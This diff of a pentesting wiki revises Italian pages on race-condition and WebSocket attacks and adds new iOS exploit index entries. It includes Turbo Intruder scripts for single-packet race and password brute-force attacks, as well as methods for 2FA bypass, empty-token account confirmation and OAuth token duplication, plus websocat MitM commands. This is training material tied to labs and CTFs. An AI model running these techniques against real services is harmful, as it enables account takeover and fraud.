diff --git a/src/SUMMARY.md b/src/SUMMARY.md index abe382dcf..be4d4275a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -837,9 +837,14 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) -- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) + - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md) + - [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md) + - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md) + - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) + - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) + # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 3d3bc58f5..a74ff6c9f 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -3,47 +3,47 @@ {{#include ../banners/hacktricks-training.md}} > [!WARNING] -> Per ottenere una comprensione profonda di questa tecnica, controlla il rapporto originale in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) +> Per ottenere una comprensione approfondita di questa tecnica consulta il report originale in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) -## Migliorare gli Attacchi di Race Condition +## Migliorare gli attacchi di Race Condition -L'ostacolo principale nel sfruttare le race condition è assicurarsi che più richieste vengano gestite contemporaneamente, con **molto poca differenza nei loro tempi di elaborazione—idealmente, meno di 1ms**. +Il principale ostacolo nello sfruttare race conditions è assicurarsi che più richieste siano elaborate nello stesso momento, con **una differenza di tempo di elaborazione molto bassa—idealmente inferiore a 1ms**. -Qui puoi trovare alcune tecniche per Sincronizzare le Richieste: +Di seguito alcune tecniche per sincronizzare le richieste: -#### Attacco a Pacchetto Singolo HTTP/2 vs. Sincronizzazione dell'Ultimo Byte HTTP/1.1 +#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization -- **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del jitter di rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di race condition coerente. -- **HTTP/1.1 'Sincronizzazione dell'Ultimo Byte'**: Consente di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene poi inviato insieme, raggiungendo simultaneamente il server. +- **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del jitter di rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di race condition consistente. +- **HTTP/1.1 'Last-Byte Sync'**: Permette di inviare in anticipo la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento che viene poi inviato insieme, ottenendo l'arrivo simultaneo al server. -**Preparazione per la Sincronizzazione dell'Ultimo Byte** prevede: +La preparazione per Last-Byte Sync comporta: -1. Inviare intestazioni e dati del corpo meno l'ultimo byte senza terminare il flusso. -2. Pausare per 100ms dopo l'invio iniziale. +1. Inviare headers e body data meno l'ultimo byte senza terminare lo stream. +2. Mettere in pausa per 100ms dopo l'invio iniziale. 3. Disabilitare TCP_NODELAY per utilizzare l'algoritmo di Nagle per raggruppare i frame finali. -4. Eseguire un ping per riscaldare la connessione. +4. Inviare ping per scaldare la connessione. -L'invio successivo dei frame trattenuti dovrebbe risultare nella loro arrivo in un singolo pacchetto, verificabile tramite Wireshark. Questo metodo non si applica ai file statici, che non sono tipicamente coinvolti negli attacchi RC. +L'invio successivo dei frame trattenuti dovrebbe portare al loro arrivo in un unico pacchetto, verificabile con Wireshark. Questo metodo non si applica ai file statici, che normalmente non sono coinvolti negli attacchi RC. -### Adattarsi all'Architettura del Server +### Adattarsi all'architettura del server -Comprendere l'architettura del target è cruciale. I server front-end potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il riscaldamento proattivo della connessione lato server, attraverso richieste insignificanti, potrebbe normalizzare i tempi di richiesta. +Comprendere l'architettura del target è cruciale. I front-end server potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il pre-warming delle connessioni lato server, tramite richieste di poco conto, potrebbe normalizzare i tempi delle richieste. -#### Gestire il Blocco Basato su Sessione +#### Gestire il locking basato sulla sessione -Framework come il gestore di sessioni di PHP serializzano le richieste per sessione, potenzialmente oscurando le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema. +Framework come il session handler di PHP serializzano le richieste per sessione, potenzialmente nascondendo vulnerabilità. Usare token di sessione diversi per ogni richiesta può aggirare questo problema. -#### Superare i Limiti di Velocità o Risorse +#### Superare limiti di rate o di risorse -Se il riscaldamento della connessione è inefficace, attivare intenzionalmente i ritardi dei limiti di velocità o risorse dei server web attraverso un'inondazione di richieste fittizie potrebbe facilitare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle race condition. +Se il connection warming non è efficace, indurre intenzionalmente i delay dei limiti di rate o risorse del web server tramite un flood di richieste fittizie potrebbe facilitare il single-packet attack inducendo un ritardo lato server favorevole alle race conditions. -## Esempi di Attacco +## Esempi di attacco -- **Tubo Intruder - attacco a pacchetto singolo HTTP2 (1 endpoint)**: Puoi inviare la richiesta a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puoi cambiare nella richiesta il valore che vuoi forzare per **`%s`** come in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e poi selezionare il **`examples/race-single-packer-attack.py`** dal menu a discesa: +- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
-Se intendi **inviare valori diversi**, potresti modificare il codice con questo che utilizza una wordlist dagli appunti: +Se vuoi **inviare valori diversi**, puoi modificare il codice con questo che usa una wordlist dagli appunti: ```python passwords = wordlists.clipboard for password in passwords: @@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1') > [!WARNING] > Se il web non supporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` invece di `Engine.BURP2`. -- **Tubo Intruder - attacco a pacchetto singolo HTTP2 (Diversi endpoint)**: Nel caso tu debba inviare una richiesta a 1 endpoint e poi più richieste ad altri endpoint per attivare il RCE, puoi modificare lo script `race-single-packet-attack.py` con qualcosa come: +- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Se devi inviare una richiesta a 1 endpoint e poi più richieste ad altri endpoint per attivare la RCE, puoi modificare lo script `race-single-packet-attack.py` con qualcosa del genere: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` -- È disponibile anche in **Repeater** tramite la nuova opzione '**Invia gruppo in parallelo**' in Burp Suite. -- Per **limit-overrun** puoi semplicemente aggiungere **la stessa richiesta 50 volte** nel gruppo. -- Per **connection warming**, puoi **aggiungere** all'**inizio** del **gruppo** alcune **richieste** a una parte non statica del server web. -- Per **ritardare** il processo **tra** l'elaborazione **di una richiesta e un'altra** in 2 passaggi sottostanti, puoi **aggiungere richieste extra tra** entrambe le richieste. -- Per un **multi-endpoint** RC puoi iniziare a inviare la **richiesta** che **va allo stato nascosto** e poi **50 richieste** subito dopo che **sfruttano lo stato nascosto**. +- È anche disponibile in **Repeater** tramite la nuova opzione '**Send group in parallel**' in Burp Suite. +- Per **limit-overrun** potresti semplicemente aggiungere la **stessa request 50 volte** nel gruppo. +- Per **connection warming**, potresti **aggiungere** all'**inizio** del **gruppo** alcune **requests** a qualche parte non statica del web server. +- Per il **delaying** del processo **tra** l'elaborazione **di una request e l'altra** in una procedura a 2 sottostati, potresti **aggiungere request extra tra** entrambe le request. +- Per una RC **multi-endpoint** potresti iniziare inviando la **request** che **porta allo stato nascosto** e poi **50 requests** subito dopo che **sfruttano lo stato nascosto**.
-- **Script python automatizzato**: L'obiettivo di questo script è cambiare l'email di un utente mentre la verifica continua fino a quando il token di verifica della nuova email arriva all'ultima email (questo perché nel codice si vedeva un RC dove era possibile modificare un'email ma avere la verifica inviata a quella vecchia perché la variabile che indicava l'email era già popolata con la prima).\ -Quando la parola "objetivo" viene trovata nelle email ricevute sappiamo di aver ricevuto il token di verifica dell'email cambiata e terminiamo l'attacco. +- **Automated python script**: Lo scopo di questo script è modificare l'email di un utente verificandola continuamente finché il token di verifica della nuova email non arriva all'ultima email (questo perché nel codice si osservava una RC in cui era possibile modificare un'email ma far inviare la verifica alla vecchia poiché la variabile che indicava l'email era già popolata con la prima).\ +Quando la parola "objetivo" viene trovata nelle email ricevute, sappiamo di aver ricevuto il token di verifica dell'email modificata e terminiamo l'attacco. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge @@ -217,21 +217,21 @@ h2_conn.close_connection() response = requests.get(url, verify=False) ``` -### Migliorare l'Attacco a Pacchetto Singolo +### Miglioramento di Single Packet Attack -Nella ricerca originale si spiega che questo attacco ha un limite di 1.500 byte. Tuttavia, in [**questo post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), è stato spiegato come sia possibile estendere il limite di 1.500 byte dell'attacco a pacchetto singolo al **limite di finestra di 65.535 B di TCP utilizzando la frammentazione a livello IP** (dividendo un singolo pacchetto in più pacchetti IP) e inviandoli in ordine diverso, consentendo di prevenire il riassemblaggio del pacchetto fino a quando tutti i frammenti non raggiungono il server. Questa tecnica ha permesso al ricercatore di inviare 10.000 richieste in circa 166 ms. +Nella ricerca originale è spiegato che questo attacco ha un limite di 1.500 byte. Tuttavia, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) è stato spiegato come sia possibile estendere il limite di 1.500 byte del single packet attack fino alla **limitazione della finestra TCP di 65.535 B usando IP layer fragmentation** (splitting a single packet into multiple IP packets) e inviando i frammenti in ordine diverso, impedendo il reassemblaggio del pacchetto fino a quando tutti i frammenti non raggiungono il server. Questa tecnica ha permesso al ricercatore di inviare 10.000 request in circa 166ms. -Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiede che centinaia/migliaia di pacchetti arrivino contemporaneamente, potrebbe anche avere alcune limitazioni software. Alcuni server HTTP popolari come Apache, Nginx e Go hanno un'impostazione rigorosa `SETTINGS_MAX_CONCURRENT_STREAMS` impostata su 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 non hanno limiti.\ -Questo significa fondamentalmente che Apache considererà solo 100 connessioni HTTP da una singola connessione TCP (limitando questo attacco RC). +Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiede centinaia/migliaia di pacchetti che arrivino contemporaneamente, potrebbe anche avere alcune limitazioni software. Alcuni popolari HTTP server come Apache, Nginx e Go hanno un valore rigido di `SETTINGS_MAX_CONCURRENT_STREAMS` impostato rispettivamente a 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 lo hanno illimitato.\ +Questo significa sostanzialmente che Apache considererà solo 100 connessioni HTTP da una singola TCP connection (limitando questo RC attack). -Puoi trovare alcuni esempi utilizzando questa tecnica nel repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). +Puoi trovare alcuni esempi che utilizzano questa tecnica nel repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). ## Raw BF -Prima della ricerca precedente, questi erano alcuni payload utilizzati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per causare un RC. +Prima della ricerca precedente, questi erano alcuni payload usati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per provocare una RC. -- **Repeater:** Controlla gli esempi della sezione precedente. -- **Intruder**: Invia la **richiesta** a **Intruder**, imposta il **numero di thread** su **30** all'interno del **menu Opzioni** e seleziona come payload **Null payloads** e genera **30.** +- **Repeater:** Consulta gli esempi della sezione precedente. +- **Intruder**: Invia la **request** a **Intruder**, imposta il **number of threads** a **30** nel **Options menu**, seleziona come payload **Null payloads** e genera **30**. - **Turbo Intruder** ```python def queueRequests(target, wordlists): @@ -283,71 +283,71 @@ asyncio.run(main()) ### Limit-overrun / TOCTOU -Questo è il tipo più basilare di race condition dove **vulnerabilità** che **appaiono** in luoghi che **limitano il numero di volte in cui puoi eseguire un'azione**. Come usare lo stesso codice sconto in un negozio web più volte. Un esempio molto semplice può essere trovato in [**questo report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**questo bug**](https://hackerone.com/reports/759247)**.** +Questo è il tipo più basilare di race condition dove le **vulnerabilità** **appaiono** in punti che **limitano il numero di volte in cui puoi eseguire un'azione**. Per esempio usare lo stesso codice sconto più volte in un negozio web. Un esempio molto semplice si trova in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**this bug**](https://hackerone.com/reports/759247)**.** -Ci sono molte variazioni di questo tipo di attacco, tra cui: +Ci sono molte varianti di questo tipo di attacco, tra cui: -- Riscuotere una carta regalo più volte +- Riscattare una gift card più volte - Valutare un prodotto più volte -- Prelevare o trasferire contante in eccesso rispetto al saldo del tuo conto -- Riutilizzare una singola soluzione CAPTCHA -- Bypassare un limite di velocità anti-brute-force +- Prelevare o trasferire denaro oltre il saldo del tuo account +- Riutilizzare la stessa soluzione CAPTCHA +- Bypassare un anti-brute-force rate limit -### **Hidden substates** +### **Sottostati nascosti** -Sfruttare condizioni di gara complesse spesso comporta approfittare di brevi opportunità per interagire con sottostati di macchina nascosti o **non intenzionali**. Ecco come affrontare questo: +Sfruttare race condition complesse spesso implica approfittare di brevi opportunità per interagire con sottostati della macchina nascosti o **non intenzionali**. Ecco come affrontarlo: -1. **Identificare Sottostati Nascosti Potenziali** -- Inizia individuando endpoint che modificano o interagiscono con dati critici, come profili utente o processi di reimpostazione della password. Concentrati su: +1. **Identificare potenziali sottostati nascosti** +- Inizia individuando endpoint che modificano o interagiscono con dati critici, come profili utente o processi di password reset. Concentrati su: - **Storage**: Preferisci endpoint che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client. -- **Action**: Cerca operazioni che alterano dati esistenti, che sono più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati. -- **Keying**: Attacchi di successo di solito coinvolgono operazioni chiave sullo stesso identificatore, ad es. nome utente o token di reimpostazione. -2. **Condurre Prove Iniziali** -- Testa gli endpoint identificati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerabilità. -3. **Dimostrare la Vulnerabilità** -- Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerabilità, spesso solo due. Questo passaggio potrebbe richiedere più tentativi o automazione a causa della tempistica precisa coinvolta. +- **Action**: Cerca operazioni che alterano dati esistenti, più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati. +- **Keying**: Attacchi riusciti di solito coinvolgono operazioni indicizzate dallo stesso identificatore, e.g., username o reset token. +2. **Condurre un probing iniziale** +- Testa gli endpoint individuati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono indicare una vulnerabilità. +3. **Dimostrare la vulnerabilità** +- Riduci l'attacco al numero minimo di richieste necessario per sfruttare la vulnerabilità, spesso solo due. Questo passaggio può richiedere tentativi multipli o automazione a causa della tempistica precisa richiesta. -### Attacchi Sensibili al Tempo +### Time Sensitive Attacks -La precisione nel temporizzare le richieste può rivelare vulnerabilità, specialmente quando metodi prevedibili come i timestamp sono utilizzati per i token di sicurezza. Ad esempio, generare token di reimpostazione della password basati su timestamp potrebbe consentire token identici per richieste simultanee. +La precisione nel sincronizzare le richieste può rivelare vulnerabilità, specialmente quando metodi prevedibili come i timestamp vengono usati per generare token di sicurezza. Per esempio, generare password reset tokens basati sui timestamp potrebbe permettere token identici per richieste simultanee. -**Per Sfruttare:** +**To Exploit:** -- Usa un temporizzazione precisa, come un attacco a pacchetto singolo, per effettuare richieste di reimpostazione della password simultanee. Token identici indicano una vulnerabilità. +- Usa tempistiche precise, come un single packet attack, per effettuare richieste di password reset concorrenti. Token identici indicano una vulnerabilità. -**Esempio:** +**Example:** -- Richiedi due token di reimpostazione della password contemporaneamente e confrontali. Token corrispondenti suggeriscono un difetto nella generazione dei token. +- Richiedi due password reset token contemporaneamente e confrontali. Token che combaciano suggeriscono un difetto nella generazione dei token. -**Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **per provare questo.** +**Dai un'occhiata a** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **per provarlo.** -## Casi studio di sottostati nascosti +## Casi di studio sui sottostati nascosti -### Paga & aggiungi un elemento +### Paga & aggiungi un articolo -Controlla questo [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) per vedere come **pagare** in un negozio e **aggiungere un extra** articolo che **non dovrai pagare**. +Dai un'occhiata a [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) per vedere come **pagare** in un negozio e **aggiungere un articolo extra** che **non dovrai pagare**. -### Conferma altre email +### Confermare altre email -L'idea è di **verificare un indirizzo email e cambiarlo in un altro allo stesso tempo** per scoprire se la piattaforma verifica il nuovo indirizzo cambiato. +L'idea è **verificare un indirizzo email e cambiarlo contemporaneamente con un altro** per capire se la piattaforma verifica il nuovo indirizzo. -### Cambia email in 2 indirizzi email basati su Cookie +### Cambiare l'email in 2 indirizzi (basato su cookie) -Secondo [**questa ricerca**](https://portswigger.net/research/smashing-the-state-machine) Gitlab era vulnerabile a un takeover in questo modo perché potrebbe **inviare** il **token di verifica email di un'email all'altra email**. +Secondo [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab era vulnerabile a takeover in questo modo perché poteva **inviare** l'**email verification token di un'email all'altra email**. -**Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **per provare questo.** +**Dai un'occhiata a** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **per provarlo.** -### Stati Nascosti del Database / Bypass di Conferma +### Stati nascosti del Database / Bypass della conferma -Se **2 scritture diverse** vengono utilizzate per **aggiungere** **informazioni** all'interno di un **database**, c'è una piccola porzione di tempo in cui **solo i primi dati sono stati scritti** all'interno del database. Ad esempio, quando si crea un utente, il **nome utente** e la **password** potrebbero essere **scritti** e **poi il token** per confermare l'account appena creato è scritto. Questo significa che per un breve periodo il **token per confermare un account è nullo**. +Se vengono usate **2 scritture diverse** per **aggiungere** **informazione** all'interno di un **database**, esiste un breve intervallo di tempo in cui **solo i primi dati sono stati scritti** nel database. Per esempio, quando si crea un utente lo **username** e la **password** potrebbero essere **scritti** e **solo dopo viene scritto il token** per confermare l'account appena creato. Questo significa che per un breve periodo il **token per confermare un account è null**. -Pertanto, **registrare un account e inviare diverse richieste con un token vuoto** (`token=` o `token[]=` o qualsiasi altra variazione) per confermare l'account immediatamente potrebbe consentire di c**onfermare un account** dove non controlli l'email. +Therefore **registrare un account e inviare diverse richieste con un token vuoto** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfermare un account** where you don't control the email. -**Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **per provare questo.** +**Dai un'occhiata a** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **per provarlo.** ### Bypass 2FA -Il seguente pseudo-codice è vulnerabile a una race condition perché in un tempo molto breve il **2FA non è applicato** mentre la sessione viene creata: +The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created: ```python session['userid'] = user.userid if user.mfa_enabled: @@ -357,22 +357,24 @@ session['enforce_mfa'] = True ``` ### OAuth2 persistenza eterna -Ci sono diversi [**fornitori OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permetteranno di creare un'applicazione e autenticare gli utenti che il fornitore ha registrato. Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **fornitore OAUth**.\ -Fino a qui, è solo un comune accesso con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_Applicazione \ vuole accedere alle tue informazioni, vuoi permetterlo?_" +Esistono diversi [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permettono di creare un'applicazione e autenticare gli utenti registrati presso il provider. +Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **OAUth provider**.\ +Quindi, fin qui è solo un normale login con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_L'applicazione \ vuole accedere alle tue informazioni, vuoi consentirlo?_" #### Race Condition in `authorization_code` -Il **problema** appare quando **lo accetti** e invia automaticamente un **`authorization_code`** all'applicazione malevola. Poi, questa **applicazione sfrutta una Race Condition nel fornitore di servizi OAUth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per **creare diversi account**. Poi, se **smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre rimarranno valide**. +Il **problema** si manifesta quando lo **accetti** e viene inviato automaticamente un **`authorization_code`** all'applicazione dannosa. Quindi, questa **application sfrutta una Race Condition nel provider OAUth per generare più di una coppia di AT/RT** (_Authentication Token/Refresh Token_) a partire dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato che l'applicazione acceda ai tuoi dati per **creare più account**. Quindi, se **smetti di consentire all'applicazione l'accesso ai tuoi dati**, una coppia di AT/RT verrà eliminata, ma le altre rimarranno comunque valide. #### Race Condition in `Refresh Token` -Una volta che hai **ottenuto un RT valido**, potresti provare a **sfruttarlo per generare diversi AT/RT** e **anche se l'utente annulla i permessi** per l'applicazione malevola di accedere ai suoi dati, **diversi RT rimarranno ancora validi.** +Una volta che hai **ottenuto un RT valido** puoi provare a **sfruttarlo per generare diverse coppie AT/RT** e **anche se l'utente revoca i permessi** all'applicazione dannosa di accedere ai suoi dati, **diversi RT rimarranno comunque validi.** ## **RC in WebSockets** -In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puoi trovare un PoC in Java per inviare messaggi websocket in **parallelo** per sfruttare **Race Conditions anche nei Web Sockets**. +- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puoi trovare un PoC in Java per inviare messaggi WebSocket in **parallelo** per sfruttare **Race Conditions anche in Web Sockets**. +- Con Burp’s WebSocket Turbo Intruder puoi usare il motore **THREADED** per creare più connessioni WS e inviare payload in parallelo. Parti dall'esempio ufficiale e regola `config()` (thread count) per la concorrenza; questo è spesso più affidabile rispetto al batching su una singola connessione quando si effettua una race sullo stato lato server attraverso gli handler WS. Vedi [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). -## Riferimenti +## References - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) @@ -380,5 +382,8 @@ In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) +- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) +- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) +- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index 65356de2a..1b5ea17e0 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -1,14 +1,14 @@ -# WebSocket Attacks +# Attacchi WebSocket {{#include ../banners/hacktricks-training.md}} ## Cosa sono i WebSocket -Le connessioni WebSocket vengono stabilite attraverso un iniziale **HTTP** handshake e sono progettate per essere **a lungo termine**, consentendo la messaggistica bidirezionale in qualsiasi momento senza la necessità di un sistema transazionale. Questo rende i WebSocket particolarmente vantaggiosi per le applicazioni che richiedono **bassa latenza o comunicazione avviata dal server**, come i flussi di dati finanziari in tempo reale. +Le connessioni WebSocket vengono stabilite tramite un handshake iniziale **HTTP** e sono progettate per essere **persistenti**, consentendo messaggistica bidirezionale in qualsiasi momento senza la necessità di un sistema transazionale. Questo rende i WebSocket particolarmente vantaggiosi per applicazioni che richiedono **bassa latenza o comunicazione iniziata dal server**, come i flussi finanziari in tempo reale. -### Stabilimento delle Connessioni WebSocket +### Stabilimento delle connessioni WebSocket -Una spiegazione dettagliata su come stabilire connessioni WebSocket può essere accessibile [**qui**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In sintesi, le connessioni WebSocket sono solitamente avviate tramite JavaScript lato client come mostrato di seguito: +A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In sintesi, le connessioni WebSocket vengono solitamente iniziate tramite JavaScript lato client come mostrato di seguito: ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` @@ -35,79 +35,196 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= ``` La connessione rimane aperta per lo scambio di messaggi in entrambe le direzioni una volta stabilita. -**Punti chiave del handshake WebSocket:** +**Punti chiave del WebSocket handshake:** -- Gli header `Connection` e `Upgrade` segnalano l'inizio di un handshake WebSocket. -- L'header `Sec-WebSocket-Version` indica la versione del protocollo WebSocket desiderata, di solito `13`. -- Un valore casuale codificato in Base64 viene inviato nell'header `Sec-WebSocket-Key`, garantendo che ogni handshake sia unico, il che aiuta a prevenire problemi con i proxy di caching. Questo valore non è per l'autenticazione ma per confermare che la risposta non sia generata da un server o da una cache mal configurati. -- L'header `Sec-WebSocket-Accept` nella risposta del server è un hash del `Sec-WebSocket-Key`, verificando l'intenzione del server di aprire una connessione WebSocket. +- Le intestazioni `Connection` e `Upgrade` segnalano l'inizio di un WebSocket handshake. +- L'intestazione `Sec-WebSocket-Version` indica la versione del protocollo WebSocket desiderata, di solito `13`. +- Un valore random codificato in Base64 viene inviato nell'intestazione `Sec-WebSocket-Key`, garantendo che ogni handshake sia unico, il che aiuta a prevenire problemi con proxy di caching. Questo valore non è per l'autenticazione ma serve a confermare che la risposta non è generata da un server o cache mal configurati. +- L'intestazione `Sec-WebSocket-Accept` nella risposta del server è un hash del `Sec-WebSocket-Key`, verificando l'intenzione del server di aprire una connessione WebSocket. -Queste caratteristiche garantiscono che il processo di handshake sia sicuro e affidabile, aprendo la strada a una comunicazione in tempo reale efficiente. +Queste caratteristiche assicurano che il processo di handshake sia sicuro e affidabile, preparando il terreno per una comunicazione in tempo reale efficiente. ### Console Linux -Puoi usare `websocat` per stabilire una connessione raw con un websocket. +Puoi usare `websocat` per stabilire una connessione raw con un WebSocket. ```bash websocat --insecure wss://10.10.10.10:8000 -v ``` -O per creare un server websocat: +Oppure per creare un server websocat: ```bash websocat -s 0.0.0.0:8000 #Listen in port 8000 ``` ### MitM websocket connections -Se scopri che i client sono connessi a un **HTTP websocket** dalla tua attuale rete locale, potresti provare un [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) per eseguire un attacco MitM tra il client e il server.\ -Una volta che il client sta cercando di connettersi, puoi quindi utilizzare: +Se scopri che dei client sono connessi a un **HTTP websocket** dalla tua rete locale attuale, puoi provare un [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) per eseguire un MitM attack tra il client e il server.\ +Una volta che il client sta cercando di connettersi a te, puoi quindi usare: ```bash websocat -E --insecure --text 